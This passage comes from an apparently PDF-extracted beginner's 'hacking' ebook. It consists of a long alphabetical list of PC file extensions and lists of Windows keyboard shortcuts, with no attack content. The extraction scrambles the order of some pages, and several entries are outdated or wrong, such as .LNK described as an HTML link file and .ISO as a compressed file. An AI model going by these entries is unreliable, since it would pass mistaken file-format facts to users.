$$A OS/2 program file .tv Page 161 . List of PC file Extensions This is a list of the most commonly found extensions.$$F OS/2 database file .075 Ventura Publisher 75x75 dpi screen characters .$ED Microsoft C temporary editor file. . what type of file they are and what program if any they are associated with. .Hacking For Beginners – Manthan Desai 2010 31. www. OS/2 planner file .096 Ventura Publisher 96x96 dpi screen characters .--.091 Ventura Publisher 91x91 dpi screen characters ._DD Norton disk doctor recovery file. . .$$$ Temporary file . . .0B Pagemaker printer font LineDraw enhanced characters._DM Nuts n Bolts disk minder recovery file.1 and above. .hackingtech. dat.$DB DBASE IV temporary file .co.085 Ventura Publisher 85x85 dpi screen characters .$$S OS/2 spreadsheet file . and other important files from Windows 3.File used to backup sys. ini.$VM Microsoft Windows temporary file for virtual managers.1ST File used by some software manufacturers to represent a file that should be read first before starting the program.
BAT Batch file that can perform tasks for you in dos.x to display the graphics on later 386. . B .AVI Windows Movie file. .ANS ANSI text file. .5 file .ASF file is generally a movie player and can be open with software such as Windows Media Player. .hackingtech.tv Page 162 . .Hacking For Beginners – Manthan Desai .ini. .2GR File used in Windows 3.co.BAS QBasic program and or Visual Basic Module.ABK Autobackup file used with Corel Draw 6 and above. The .ADF Adapter description files. . .x to display the graphics on older 286 and 386 computers.ABR Brush file for Adobe Photoshop . . . like a macro. .AIF Auto Interchange File Format (AIFF) Audio file. www.ACT Adobe Photoshop Color table file. . . . .ASC ASCII Text file .BAK Backup file used for important windows files usually used with the System.4SW 4DOS Swap file 2010 A A ADA program file or UNIX library .AI Adobe Illustrator file.ANI Windows 95 / Windows 98 / Windows NT animated mouse cursor file.A3W MacroMedia Authorware 3.ASP Microsoft FrontPage Active Server Pages.AD After Dark file.ARJ Compressed file can be used with Winzip / Pkzip. . .ini and the Win.ASF Sort for Advanced Streaming Format.3GR File used in Windows 3. file developed by Microsoft.ADM After Dark screen saver module.386 Virtual machine support files for the 386 enhanced mode.ADR After Dark randomizer . To open these files use your internet browser. 486 and Pentium computers.
BNK Sim City Backup . www.BK8 Word Perfect for Windows Backup file .BWP Battery Watch pro file.BK4 Word Perfect for Windows Backup file .BPT Corel Draw Bitmap master file .BK6 Word Perfect for Windows Backup file . .Hacking For Beginners – Manthan Desai .BV8 Word Perfect for Windows Backup file .BV1 Word Perfect for Windows Backup file .BV3 Word Perfect for Windows Backup file . .BV7 Word Perfect for Windows Backup file .co.BFC Microsoft Windows 95 / Windows 98 Briefcase file.C C file used with the C programming language.BPS Microsoft Works Word Processor File.hackingtech.BV9 Word Perfect for Windows Backup file .BK7 Word Perfect for Windows Backup file .BK3 Word Perfect for Windows Backup file .BK5 Word Perfect for Windows Backup file .BIN Translation tables for code pages other than the standard 437.BV2 Word Perfect for Windows Backup file .BV4 Word Perfect for Windows Backup file .BV6 Word Perfect for Windows Backup file .BV5 Word Perfect for Windows Backup file .BK2 Word Perfect for Windows Backup file . 2010 C . . .BG Backgammon game file.tv Page 163 .BMP Graphical Bit Mapped File used in Windows Paintbrush.BK9 Word Perfect for Windows Backup file . .
CAL Windows Calendar.hlp) Contents (and other file contents) .CMV Corel Movie file. Information about how to extract a .CLK Corel R. .V.CDA CD Audio Player Track. .CL3 Easy CD Creator layout file. . . .CFB Comptons Multimedia file .CPL Windows 95 / Windows 98 / Windows NT control panel icons.CBL COBOL Program File . .CBT Computer Based Training files.CNT Help file (.CMD Windows Script File also OS/2 command file.CDR Corel Draw Vector file. Because the information within these files are corrupted or reported as bad by Scandisk it is perfectly fine to delete these files.CAB file can be found on document CH000363.CL4 Easy CD Creator layout file.tv Page 164 .CLG Disk catalog database .CFL Corel flowchart file . .hackingtech.Hacking For Beginners – Manthan Desai 2010 .CAB Cabinet file used in Windows 95 and Windows 98 that contains all the windows files and drivers.E.co. animation file.CLA Java Class file. found in C root.A.CFM Corel FontMaster file / Cold Fusion Template file / Visual dBASE windows customer form .CHK Scandisk file which is used to back up information that scandisk has found to be bad. . Supercalculator4 file or Supercal spreadsheet. .CFG Configuration file .CLS Visual Basic Class module / C++ Class definition . Additional information about scandisk can be found on our scandisk page.CLL Crick software clicker file . providing you are currently not missing any information. .CLR WinEdit Colorization word list / 1st reader binary color screen image / PhotStyler color definition . www. .CL Generic LISP source code. .CLO Cloe image .CLP Windows Clipboard / Quattro Pro clip art / Clipper 5 compiler script . .
.tv Page 165 .COD FORTRAN Compiler program code . .COM files.DB2 dBase II file . .CXX C++ program file or Zortech C++ file D .co.hackingtech.III.DEV Device Driver www.CVS Canvas drawing file . .CPI Code Page Information or Microsoft Windows applet control panel file .DBK dBase databse backup / Orcad schematic capture backup file .CSV Comma-Separated Variable file. . Used primary with databases and spreadsheets / Image file used with CopuShow .CPE Fax cover page file .CRD Windows Card file.COB COBOL source code file.DBM Cold Fusion template .DAT Data file.IV / LotusWorks database.DBV Flexfile memo field file . .Hacking For Beginners – Manthan Desai .DBC Microsoft Visiual Foxpro database container .CNF Configuration file.COM File that can be executed. .CNE Configuration file that builds .III+.DBF dBase II.CUR Windows Mouse Cursor.DBO dBase IV compiled program file . generally associated or extra data for a program to use.DBQ Paradox memo . .DBX Database file / DataBeam Image / MS Visual Foxpro Table .DBT dBase database text file .DB Paradox database file / Progress database file .CPP C++ source code file.DBW DataBoss database file . 2010 .
The different drivers are system.DMD Visual dBASE data module . pointing devices. VisiCalc 2010 .DOC Microsoft Word Windows/DOS / LotusWorks word processor Windows/DOS /PF S:First Choice Windows/DOS DOT MS Word Windows/DOS. .DOT Microsoft Word Template (Macro).co.DTP SecurDesk! Desktop / Timeworks Publisher Text Document / Pressworks Template file .DXF Autocad drawing interchange format file .DMP Dump file .DMP Dump file .DRV Device driver files that attach the hardware to Windows.DUN Dialup Networking exported file.DMO Demo file . . communications adapter.DMO Demo file .DMF Delusion/XTracker Digital Music File .DTF Q&A database .Hacking For Beginners – Manthan Desai . keyboard.DTM DigiRekker module .hackingtech. . linked at run time.DMS Compressed archive file . network.DT_ Macintosh Data File Fork . Windows uses these files to support foreign languages and international/nonstandard keyboards.DXB Drawing interchange binary file . Allow executable code modules to be loaded on demand. and unloaded when not needed. .DIF Document Interchange Format.DXN Fujitsu dexNet fax document . sound. .DTA Data file . .tv Page 166 .DXR Macromedia director projected movie file www.DRW Micrografx draw/graph files.DTD SGML Document definition file .DX Document Imaging file / Digital data exchange file .DLL Dynamic Link Library. printer/ plotter.DOS Text file and DOS Specification Info .
.FDF Adobe Acrobat Forms Document.tv Page 167 .ENC ADW Knowledge Ware Encyclopedia .co.ESH Extended Shell Batch file .EGA EGA screen characters for Ventura Publisher . with embedded TIFF preview images.EXC QEMM exclude file from optimization file or Rexx program file .EEB Button bar for Equation Editor in Word Perfect for Windows .EVT Event file scheduler file for PC Tools .ERD Entity Relation Diagram graphic file .EMU IRMA Workstation for Windows emulation .ERR Error log file .hackingtech.ENG Sprint dictionary file engine .EMS Enhanced Menu System configuration file for PC Tools .EFT CHIWRITER high resolution screen characters .EXE Executable file. . .EPS Encapsulated Postscript.ENV Word Perfect for Windows environment file.END Corel Draw Arrow Definition file .0 .EPG Exported PaGe file used with DynaVox .ERM Entity Relation Diagram model file .ELG Event List text file used with Prosa .DWG AutoCad Drawing Database 2010 E .EQN Word Perfect for Windows Equation file .Hacking For Beginners – Manthan Desai . www.EX3 Device driver for Harvard graphics 3.EXT Extension file for Norton Commander F .DYN Lotus 1-2-3 file .
www.FFA Microsoft Fast Find file.FRZ FormFlow file G .GRB Microsoft MS-DOS shell monitor . 2010 .FON Font files to support display and output devices.FRM Form file used with various programs / Microsoft Visual Basic Form / FrameMaker document / FrameBuilder file / Oracle executable form / Word Perfect Merge form / DataCAD symbol report file .FF AGFA CompuGraphics outline font description.FFL Microsoft Fast Find file / PrintMaster Gold form file .co. .FRP PerForm Pro Plus Form .FFT DCA/FFT final form text .FFX Microsoft Fast Find file .GR3 386 grabbers that specify which font to use with DOS and Windows.GRA Microsoft Flight simulator graphics file . . .FRT FoxPro report file . .FFF GUS PnP bank / defFax fax document .FRS WordPerfect graphics driver . .GRF Micrografx draw/graph files.GRP Microsoft Program Group.hackingtech.FRG dBase IV uncompiled report .GIF CompuServe Graphics Interchange Format.Hacking For Beginners – Manthan Desai .tv Page 168 . . .FRK Compressed zip file used with Apple Macinotsh computers.FR3 dBase IV renamed dBase III+ form .FRO dBase IV compiled report / FormFlow file .FRX Microsoft Visual basic binary form file / FoxPro report file .FFO Microsoft Fast Find file .FRF FontMonger Font .GR2 286 grabbers that specify which font to use with DOS and Windows.
HSQ Data files associated with the Qaz Trojan. I .HST History file / Procomm Plus History File / Host file.HTM Web page files containing HTML or other information found on the Internet.HTA Hypertext Application (run applications from HTML document). .HGL HP graphics language graphic .ICA Citrix file / IOCA graphics file .HDX Help index .GZ Compressed Archive file for GZip 2010 H .ICE Archive file .HQX Apple Macintosh Binhex text conversion file. .tv Page 169 .ICB Targa Bitmap .HSS Photoshop Hue/Saturation information.HBK Mathcad handbook file .ICC Kodak printer image .HHH Precompiled Header for Power C . www. cannot be read from DOS.HFI GEM HP font info .Hacking For Beginners – Manthan Desai .HDR Procomm Plus message header .HH C++ Header . .co. .ICM Image Color Matching profile file .hackingtech.ICN Microsoft Windows Icon Manager.HDL Procomm Plus alternate download file listing .HHP Help data for Procomm Plus . .HLP Files that contain the Help feature used in windows. .ICL Icon library file .HEX Hex dump .
JSS Henter-Joyce Jaws script source file www.IDB Microsoft developer intermediate file. .JSB Henter-Joyce Jaws script binary file . .ISO Compressed file used for an exact duplicate of a CD. .IDQ Internet data query file .Hacking For Beginners – Manthan Desai .hackingtech.JSE JScript encoded script file .JSL PaintShop pro file . . .ICO Microsoft Windows Icondraw / Icon.IFF IFF/LBM (Amiga) used by Computer Eyes frame grabber.IMG GEM/IMG (Digital Research) or Ventura Publisher bitmap graphic .IDF MIDI instruments drivers file . .IWA IBM Writing Assistant Text file.JSD eFAX jet suite document . J . .JAS Graphic . 2010 .IPF Installer Script File / OS/2 online documentation for Microsoft source files.co.JS JavaScript file.IDE Integrated Development Environment configuration file . .INI Files that initialize Windows and Windows apps.ID Disk identification file. . used with Microsoft Visual Studio .JPG Graphic commonly used on the Internet and capable of being opened by most modern image editors.IDX Index file .tv Page 170 .JSH Henter-Joyce Jaws script header file .INF Information file that contains customization options.JSM Henter-Joyce Jaws script message file .ISO files can be extracted or opened such programs as Win Image that can be found on our shareware download section.JSP Java server page .IDD MIDI instruments definition .
co. .MAC Macintosh macpaint files.LGC Program Use Log File (for Windows Program Use Optimization). such as when running scandisk it will usually keep a scandisk.MD Compressed Archive file .MDA Microsoft Access Add-in / Microsoft Access 2 Workgroup.MDF Menu definition file .MDM Telix Modem Definition . .MDE Microsoft Access Database File .log of what occurred.LOG Contains the process of certain steps.MDL Digitrakker Music Module / Rational Rose / Quake model file .LNK HTML link file used with Microsoft Internet Explorer.JTF JPEG tagged Interchange format file .JW Justwrite text file .JWL Justwrite text file library . M .JTK Sun Java toolkit file .hackingtech. L .LWP Lotus Wordpro 96/97 file.tv Page 171 .LGO Contains the code for displaying the screen logo.MDB Microsoft Access Database / Microsoft Access Application.MBX Microsoft Outlook Express mailbox file. .JTP JetForm file .JT JT fax file . . . .Hacking For Beginners – Manthan Desai . .JZZ Jazz spreadsheet 2010 K . .MDN Microsoft Access Blank Database Template www.KAR Karaoke File used with some audio players.
MOD Winoldap files that support (with grabbers) data exchange between DOS apps and Windows apps. .MTH Derive Math file . layer I .MEB WordPerfect Macro Editor bottom overflow file .Hacking For Beginners – Manthan Desai .MU Quattro menu .MED WordPerfect Macro Editor delete save / OctaMed tracker module .MDW Microsoft Access Workgroup Information . .MUL Ultima Online game . .hackingtech.MID Midi orchestra files that are used to play with midi sounds built within the sound card. .MP1 MPEG audio stream. .MTV Picture file . layer III.MP3 MPEG audio stream.MP2 MPEG audio stream.tv Page 172 .MSN Microsoft Network document / Decent mission file .MDZ Microsoft Access Wizard Template . 2010 .MOV File used with Quick Time to display a move.MVB Database file / Microsoft multimedia viewer file www.MIX Power C object file / Multiplayer Picture file (Microsoft Photodraw 2000 & Microsoft Picture It!) / Command & Conquer Movie/Sound file . High compressed audio files generally used to record audio tracks and store them in a decent sized file available for playback. layer II .MEM WordPerfect Macro Editor macro / Memory File of variables .MTM Sound file / MultiTracker music module .MDP Microsoft Developer Studio Project .MPG MPEG movie file. See our MP3 page for additional information.MTW Minitab data file .MDX dBase IV Multiple Index .co.MUP Music publisher file .MTF Windows metafile.MUS Audio file .MDT Microsoft Access Add-in Data .
NLD ATI Radeon video driver file.Hacking For Beginners – Manthan Desai .MWP Lotus Wordpro 97 smartmaster file .NGF Enterasys Networks NetSight file. www. .MYD Make your point presentation file.tv Page 173 . .N64 Nintendo 64 Emulator ROM image. .NA2 Netscape Communicator address book.NES Nintendo Entertainment system ROM image. . . . .NLB Oracle 7 data file .Tie fighter mouse options file.hackingtech. . 2010 N .NSO NetStudio easy web graphics file.NAB Novell Groupwise address book .MVF Movie stop frame file .NIL Norton icon lybrary file.NDF NeoPlanet Browser file .NDX Indexed file for most databases. .NAP Napster Music security definition file.NMI SwordSearcher file. .MXT Microsoft C Datafile .MVE Interplay video file .NIL Norton guide online documentation .NS5 Lotus Notes Domino file.NRB Nero CD-ROM boot file. .NRA Nero Audio CD file.co. .MXD ArcInfo map file . .NON LucasArts Star Wars .NS2 Lotus Notes 2 database. .NOW Extension commonly used for readme text files.NHF Nero HFS-CD compilation or a general Nero file . .
co. should be readable from DOS and or Windows.NUM File used with some Software Manufactures to store technical support numbers or other phone numbers. 2010 .PBD PowerBuilder dynamic library / Faxit phone book file . P . file used with Microsoft Outlook. www.PBT Profiler binary table .Hacking For Beginners – Manthan Desai .PDA Bitmap graphic file .PBK Microsoft phonebook file .NT Windows NT startup file.tv Page 174 .PBO Profiler binary output . O . .PCX Microsoft Paint & PC Paintbrush Windows/DOS.PB WinFax Pro phone book file . .PBR PowerBuilder resource .PBM PBM portable bit map graphic .OLI Olivetti text file .PDD Adobe PhotoDeluxe Image.PBI Profiler binary input file .PBM UNIX portable bitmap fuke .OCX Object Linking and Embedding (OLE) control extension.hackingtech.OLD Used for backups of important files incase they are improperly updated or deleted.OLE Object Linking and Embedding object file .PBF Turtle Beach Pinnacle bank file .OLB Object library . . .ORI Original file.PDB TACT data file .PAB Personal Address Book.PBL PowerBuilder library file .OCA Control Typelib Cache. .
Hacking For Beginners – Manthan Desai
.PDF Adobe Acrobat Reader file which can only be read by Adobe Acrobat (to get file downloaded Adobe Acrobat from our Download Page. .PDL Borland C++ project description language file. .PDS Graphic file / Pldasm source code file. .PDV Paintbrush printer driver. .PDW Professional Draw document. .PIC Picture / Viewer Frame Class. .PIF Program Information File that configures a DOS app to run efficiently in windows. .PJF Paintjet soft font file. .PL Harvard palette file / PERL program file .PL3 Harvard chart palette .PLB Foxpro library / LogoShow Screensaver file .PLC Lotus Add-in .PLD PLD2 source file .PLG REND386 / AVRIL file .PLI Oracle 7 data description .PLL Prelinked library .PLM DisorderTracker2 module .PLN WordPerfect spreadsheet file .PLR Descent Pilot file .PLS WinAmp MPEG playlist file / DisorderTracker 2 Sample file / Shoutcast file / MYOB data file .PLT AutoCAD HPGL vector graphic plotter file / Gerber sign-making software file / Betley's CAD Microstation driver configuration for plotting .PLY Autodesk polygon .PP Compressed archive file. .PP4 Picture Publisher. .PP5 Picture Publisher. .PPA Power Point Add-in. .PPB WordPerfect Print preview button bar. www.hackingtech.co.tv Page 175
Hacking For Beginners – Manthan Desai
.PPD PostScript Printer description. .PPF Turtle Beach Pinnacle program file. .PPI Microsoft PowerPoint graphic file. .PPL Harvard (now Serif) Polaroid Palette Plus ColorKey Driver. .PPM PBM Portable Pixelmap Graphic. .PPO Clipper Preprocessor Output. .PPP Serif PagePlus Publication. .PPS Microsoft PowerPoint Slideshow. .PPT Microsoft PowerPoint presentation. .PPX Serif PagePlus publication. .PPZ Microsoft PowerPoint Packaged Presentation. .PS2 File to support the Micro Channel Architecture in 386 Enhanced mode. .PSD Adobe Photoshop image file. .PST Post Office Box file used with Microsoft Outlook usually mailbox.pst unless named otherwise. .PWA Password agent file. .PWD Password file. .PWF ProCite Workforms .PWL Password file used in Windows 95 and Windows 98 is stored in the Windows directory. .PWP Photoworks image file .PWZ PowerPoint wizard
.QIC Windows backup file .QT Quick Time Movie File .QXD Quark Express file .QXL Quark Xpress element library .QXT Quark Xpress template file
Page 176
Hacking For Beginners – Manthan Desai
.RA Real Audio file. .RAM Real Audio file. .RAR Compressed file similar to .ZIP uses different compression program to extract. See our recommended download page for a program that can be used to extract .RAR files. .RAS File extension used for raster graphic files. .RD1 Descent registered level file .RD3 Ray Dream designer graphics file / CorelDraw 3D file .RD4 Ray Dream designer graphics file .RD5 Ray Dream designer graphics file .RDB TrueVector rules database .RDF Resource description framework file / Chromeleon report definition .RDL Descent registered level file / RadioDestiny radio stream .RDX Reflex data file .REC Sound file used with Windows Sound Recorder. .RLE Microsoft Windows Run Length Encoded (Run Length Encoded (bitmap format) file that contains the actual screen logo). .RMI Microsoft RMID sound file. .RPB Automotive diagnostic file. .RPD Rapidfile database .RPM Red Hat Package Manager / RealMedia Player file. .RPT Various Report file .RTF Rich Text Format file .RWZ Microsoft Outlook rules wizard file
.SAV File that usually contains saved information such as a saved game. .SC2 Maps used in Sim City 2000. .SCP Dialup Networking script file. www.hackingtech.co.tv Page 177
Hacking For Beginners – Manthan Desai
.SCR Source files for the .INI files, or sometimes may be used as screen savers. .SD Sound Designer I audio file .SD2 Sound Designer II flattened file / Sound Designer II data fork file / SAS database file .SDA StarOffice drawing file / SoftCuisine data archive .SDC StarOffice spreadsheet .SDD StarOffice presentation
.SDF Standard data format file / Schedule data file / System file format / Autodesk mapguide spatial data file .SDK Roland S-series floppy disk image .SDL SmartDraw library .SDN Small archive .SDR SmartDraw drawing .SDS StarOffice chart file / Raw MIDI sample dump standard file .SDT SmartDraw template .SDV Semicolon divided value file .SDW Sun Microsystems StarOffice file document file similar to the Microsoft Office .DOC file. .SDX MIDI sample dump standard files compacted by SDX .SEA Short for Self Extracting Archive. Compressed file used with the Macintosh. .SH Archive file .SH3 Harvard (now Serif) presentation file .SHB Corel Background file .SHG Hotspot Editor Hypergraphic .SHK Macintosh Compressed Archive file .SHM WordPerfect Shell Macro .SHP 3D Studio Shapes File / other 3D related file .SHR Archive file .SHS Shell scrap object file .SHW Corel presentation / WordPerfect Slide Show / Show File .SLK Multiplan file. www.hackingtech.co.tv Page 178
Hacking For Beginners – Manthan Desai
.SND Sound Clip file / Raw unsigned PCM data / AKAI MPC-series sample / NeXT sound / Macintosh sound resource file .SNG MIDI song .SNM Netscape Mail .SNO SNOBOL program file .SNP Snapview snapshot file .SUM Summary file. .SWF Macromedia Flash file. .SWP Extension used for the Windows Swap File usually Win386.Swp. This file is required by Windows and generally can grow very large in size sometimes up to several hundred megs. This file is used to swap information between currently running programs and or memory. If this file is deleted from the computer Windows will be unable to load and will need to be reinstalled. .SYS System and peripheral drivers.
.TDF Trace Definition File used with OS/2 .TGA Targa file .TIF Tag Image Format that includes most 24-bit color. .TLB Remote automation truelib files / OLE type library / Visual C++ type library .TLD Tellix file .TLE NASA two-line element set .TLP Microsoft project timeline fie .TLT Trellix web design file .TLX Trellix data file .TMP Temporary files. .TRM Windows Terminal. .TXT Text file that can be read from windows of from DOS by using the Edit, Type, or Edlin.
.UNI MikMod (UniMod) format file / Forcast Pro data file .UNK Unknown file type, sometimes used when a file is received that cannot be identified .UNX Text file generally associated with UNIX. www.hackingtech.co.tv Page 179
VBG Visual Basic group project file .VBK VisualCADD backup file . . .vxd .VBL User license control file . .VCT FoxPro class library.VDX No such file extension .VCW Microsoft Visual C++ workbench information file.VBS Microsoft Visual Basic Script file for quick programs and in some cases can be used as a virus file.VDD Short for Virtual Device Driver.VC VisiCalc Spreadsheet file.VCF vCard File / Vevi Configuration file.co. V .VBA vBase file .VM Virtual Machine / Virtual Memory file.VDA Targa bitmap .VBZ Wizard launch file . Additional information can be found here.VDO VDOScript file .VB VBScript file . .hackingtech. Internet Shortcut.VBD ActiveX file .VBE VBScript encoded script file .Hacking For Beginners – Manthan Desai 2010 .VCX FoxPro class library.URL File used with some browsers such as Internet Explorer linking you to different web pages. . .VBX Visual Basic extension file . www. .VCE Natural MicroSystems voice file.VBR Remote automation registration files .VBW Visual Basic project workplace .VCS Microsoft Outlook vCalander file. . .tv Page 180 . .VBP Visual Basic project file .Likely you meant to .VCD VisualCADD Drawing file.
VSW Visio workspace file. .WDB Microsoft Works database .WAB Microsoft Outlook Express personal address book.WAD File first found in IdSoftware games such as DOOM.tv Page 181 .WFN CorelDRAW font .Hacking For Beginners – Manthan Desai .VXD Windows system driver file allowing a driver direct access to the Windows Kernel.WBK Wordperfect document / workbook .VMH .WB1 Quattro Pro Notebook .WAV Sound files in Windows open and played with sound recorder. 2010 . as well as most new games similar to these.VMF Ventura font characteristics file / FaxWorks audio file .WFM dBASE Form object .VSS Visio stencil.WB2 Quattro Pro Spreadsheet .WFX Winfax data file www. allowing for low level access to hardware. .WCP Wordperfect product information description . . .WBF Microsoft Windows Batch File .co.WCD Wordperfect macro token list . W .VST Video Template / Truevision Vista graphic / Targa Bitmap/ . Quake. .hackingtech.WCM Microsoft Works data transmission file / Wordperfect Macro .VSD Visio drawing.VS2 Roland-Bass transfer file.VMM Virtual Machine (Memory Manager) file.VSL GetRight download list file.WBT Winbatch batch file .WEB Web source code file . . . .
WRI Windows Write.WIN Foxpro .WRI Symphony l. Also see WMF dictionary definition. .01.2 / Microsoft Write file. . .0. .dBASE window file .2.Hacking For Beginners – Manthan Desai . .1.WKS Lotus 1-2-3 Rel lA.3. .1. also file used with Microsoft Works.1.WMZ Windows Media Player theme package file.XIF Wang image file / Xerox image file . . .co.XML Extensible markup language file.XLB Microsoft Excel File.XOT Xnetech job output file . .2. .WMF Windows Metafile.WRK Lotus 1-2 31.1/ Symphony 1.XNK Exchange shortcut .WPS MS Works word processor Windows/DOS.WK1 Lotus 1-2-3 all versions / LotusWorks spreadsheet.XM Sound file / Fast tracker 2 extended module . Watson log file.WPG WordPerfect Graphical files Windows/DOS.WIZ Microsoft Publisher page wizard . 2010 X .WG2 Lotus 1-2-3 for OS/2 worksheet .WK3 Lotus 1-2-3 for Windows /Lotus 1-2-3 Rel.0.1.WLG Dr.2.WID Ventura publisher width table . .XPM X picsmap graphic www.WPD WordPerfect Windows/DOS.XLS Microsoft Excel File. . .tv Page 182 . .01.1.01. .WPM WordPerfect Macro file.hackingtech.WG1 Lotus 1-2-3 worksheet .WMA Windows Media Audio file. .
XSL XML Style sheet .Y08 Paradox index file .hackingtech.XY4 XYwrite IV document .Y03 Paradox index file .XRF Cross Reference .Y06 Paradox index file .XYP XYwrite III plus document .XWF Yamaha XG Works file .0 document 2010 Y .XTB LocoScript external translation table .XR1 Epic MegaGames Xargon File .tv Page 183 .XYW XYwrite Windows 4.co.YUV Yuv graphics file . www.Y05 Paradox index file .Y01 Paradox index file .YZ YAC compressed file archive.XY XYWrite text file .Y07 Paradox index file .XSM LEXIS-NEXIS tracker .XXE Xxencoded file .Y09 Paradox index file .Y02 Paradox index file .XWD X Windows dump file .XQT SuperCalc macro sheet .Y Amiga YABBA compressed file archive .XY3 XYWrite text file .Y04 Paradox index file .Hacking For Beginners – Manthan Desai .
To extract all the files Pkzip or Winzip will need to be used.tv Page 184 .Z Compressed file that can hold thousands of files. .Hacking For Beginners – Manthan Desai 2010 Z . www. "The List of file extension in the list may differ as the company may have updated the extension so don't consider this list as final list but this will give you sufficient knowledge". To extract all the files Pkzip or Winzip will need to be used.hackingtech.ZIP Compressed file that can hold thousands of files. UNIX / Linux users use the compress / uncompress command to extract these files.co.
.Hacking For Beginners – Manthan Desai 2010 32. or quit the active program) ALT+ENTER (Display the properties of the selected object) www.tv Page 185 . CTRL+C (Copy) CTRL+X (Cut) CTRL+V (Paste) CTRL+Z (Undo) DELETE (Delete) SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin) CTRL while dragging an item (Copy the selected item) CTRL+SHIFT while dragging an item (Create a shortcut to the selected item) F2 key (Rename the selected item) CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word) CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word) CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph) CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph) CTRL+SHIFT with any of the arrow keys (Highlight a block of text) SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop or select text in a document) CTRL+A (Select all) F3 key (Search for a file or a folder) ALT+ENTER (View the properties for the selected item) ALT+F4 (Close the active item.co..hackingtech. Nice List of Windows Shortcuts For Real Windows Newbie's here you go.
or close a submenu) F5 key (Update the active window) BACKSPACE (View the folder one level up in My Computer or Windows Explorer) ESC (Cancel the current task) SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing) Dialog Box Keyboard Short-cuts CTRL+TAB (Move forward through the tabs) CTRL+SHIFT+TAB (Move backward through the tabs) TAB (Move forward through the options) SHIFT+TAB (Move backward through the options) ALT+Underlined letter (Perform the corresponding command or select the corresponding option) ENTER (Perform the command for the active option or button) SPACE BAR (Select or clear the check box if the active option is a check box) Arrow keys (Select a button if the active option is a group of option buttons) F1 key (Display Help) www.co.Hacking For Beginners – Manthan Desai ALT+SPACEBAR (Open the shortcut menu for the active window) 2010 CTRL+F4 (Close the active document in programs that enable you to have multiple documents open Simultaneously) ALT+TAB (Switch between the open items) ALT+ESC (Cycle through items in the order that they had been opened) F6 key (Cycle through the screen elements in a window or on the desktop) F4 key (Display the Address bar list in My Computer or Windows Explorer) SHIFT+F10 (Display the shortcut menu for the selected item) ALT+SPACEBAR (Display the System menu for the active window) CTRL+ESC (Display the Start menu) ALT+Underlined letter in a menu name (Display the corresponding menu) Underlined letter in a command name on an open menu (Perform the corresponding command) F10 key (Activate the menu bar in the active program) RIGHT ARROW (Open the next menu to the right.hackingtech.tv Page 186 . or open a submenu) LEFT ARROW (Open the next menu to the left.
Hacking For Beginners – Manthan Desai F4 key (Display the items in the active list) BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box) 2010 Microsoft Natural Keyboard Shortcuts Windows Logo (Display or hide the Start menu) Windows Logo+BREAK (Display the System Properties dialog box) Windows Logo+D (Display the desktop) Windows Logo+M (Minimize all of the windows) Windows Logo+SHIFT+M (Restore the minimized windows) Windows Logo+E (Open My Computer) Windows Logo+F (Search for a file or a folder) CTRL+Windows Logo+F (Search for computers) Windows Logo+F1 (Display Windows Help) Windows Logo+ L (Lock the keyboard) Windows Logo+R (Open the Run dialog box) Windows Logo+U (Open Utility Manager) Accessibility Keyboard Shortcuts Right SHIFT for eight seconds (Switch FilterKeys either on or off) Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off) Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off) SHIFT five times (Switch the StickyKeys either on or off) NUM LOCK for five seconds (Switch the ToggleKeys either on or off) Windows Logo +U (Open Utility Manager) Windows Explorer Keyboard Shortcuts END (Display the bottom of the active window) HOME (Display the top of the active window) NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder) NUM LOCK+Plus sign (+) (Display the contents of the selected folder) www.co.tv Page 187 .hackingtech.
you can move through the grid by using the Keyboard shortcuts: RIGHT ARROW (Move to the right or to the beginning of the next line) LEFT ARROW (Move to the left or to the end of the previous line) UP ARROW (Move up one row) DOWN ARROW (Move down one row) PAGE UP (Move up one screen at a time) PAGE DOWN (Move down one screen at a time) HOME (Move to the beginning of the line) END (Move to the end of the line) CTRL+HOME (Move to the first character) CTRL+END (Move to the last character) SPACEBAR (Switch between Enlarged and Normal mode when a character is selected) Microsoft Management Console (MMC) Main Window Keyboard Shortcuts CTRL+O (Open a saved console) CTRL+N (Open a new console) CTRL+S (Save the open console) CTRL+M (Add or remove a console item) CTRL+W (Open a new window) F5 key (Update the content of all console windows) ALT+SPACEBAR (Display the MMC window menu) ALT+F4 (Close the console) ALT+A (Display the Action menu) ALT+V (Display the View menu) ALT+F (Display the File menu) www.co.hackingtech.Hacking For Beginners – Manthan Desai NUM LOCK+Minus sign (-) (Collapse the selected folder) LEFT ARROW (Collapse the current selection if it is expanded. or select the first subfolder) 2010 Short-cut Keys for Character Map After you double-click a character on the grid of characters.tv Page 188 . or select the parent folder) RIGHT ARROW (Display the current selection if it is collapsed.
Hacking For Beginners – Manthan Desai 2010 ALT+O (Display the Favorites menu) MMC Console Window Keyboard Shortcuts CTRL+P (Print the current page or active pane) ALT+Minus sign (-) (Display the window menu for the active console window) SHIFT+F10 (Display the Action shortcut menu for the selected item) F1 key (Open the Help topic.) Microsoft Internet Explorer Navigation CTRL+B (Open the Organize Favorites dialog box) CTRL+E (Open the Search bar) CTRL+F (Start the Find utility) www.hackingtech. if any. for the selected item) F2 key (Rename the selected item) CTRL+F4 (Close the active console window.co.) CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer. if any. this shortcut closes the console) Remote Desktop Connection Navigation CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box) ALT+PAGE UP (Switch between programs from left to right) ALT+PAGE DOWN (Switch between programs from right to left) ALT+INSERT (Cycle through the programs in most recently used order) ALT+HOME (Display the Start menu) CTRL+ALT+BREAK (Switch the client computer between a window and a full screen) ALT+DELETE (Display the Windows menu) CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer. for the selected item) F5 key (Update the content of all console windows) CTRL+F10 (Maximize the active console window) CTRL+F5 (Restore the active console window) ALT+ENTER (Display the Properties dialog box.tv Page 189 . When 